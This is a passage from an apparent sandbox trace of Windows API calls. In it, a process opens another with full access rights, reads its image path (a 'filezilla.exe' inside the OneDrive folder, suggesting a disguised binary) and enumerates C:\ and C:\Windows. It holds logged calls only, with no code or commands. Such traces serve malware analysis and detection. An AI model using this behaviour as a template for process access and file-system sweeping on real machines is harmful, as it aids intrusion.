lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x1bb7e7e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0154.055] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbcc) returned 0x2cc [0154.055] GetExitCodeProcess (in: hProcess=0x2cc, lpExitCode=0x26fc544 | out: lpExitCode=0x26fc544*=0x103) returned 1 [0154.056] CoTaskMemAlloc (cb=0x404) returned 0x1bcadb70 [0154.056] QueryFullProcessImageNameA (in: hProcess=0x2cc, dwFlags=0x0, lpExeName=0x1bcadb70, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Microsoft OneDrive\\filezilla.exe", lpdwSize=0x1bb7ed88) returned 1 [0154.158] CoTaskMemFree (pv=0x1bcadb70) [0154.161] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0154.161] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0154.162] CoTaskMemFree (pv=0x1a988070) [0154.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0154.162] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0154.163] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d8de0 [0154.165] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0154.165] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0154.165] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0154.165] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0154.165] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0154.165] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0154.166] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0154.170] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0154.170] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0154.170] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.170] FindClose (in: hFindFile=0x1a9d8de0 | out: hFindFile=0x1a9d8de0) returned 1 [0154.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0154.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0154.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0154.171] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0154.171] FindFirstFileW (in: lpFileName="C:\\Windows\\*" (normalized: "c:\\windows\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8de0 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="addins", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCompat", cAlternateFileName="APPCOM~1")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d6c2e00, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5d6c2e00, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5083df00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5083df00, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x5562e640, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5562e640, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x62c48a60, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstat.dat", cAlternateFileName="")) returned 1 [0154.172] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Branding", cAlternateFileName="")) returned 1 [0154.173] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSC", cAlternateFileName="")) returned 1 [0154.173] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cursors", cAlternateFileName="")) returned 1 [0154.173] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x782cee30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x782cee30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1 [0154.173] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0154.173] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb94625, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xffb94625, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xc42eeb80, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0xae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehome", cAlternateFileName="")) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87c438a0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x87c438a0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a7e9b0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc0a7e9b0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2da8a60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fveupdate.exe", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a5a972, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x34a5a972, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1 [0154.176] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ca6ff3, 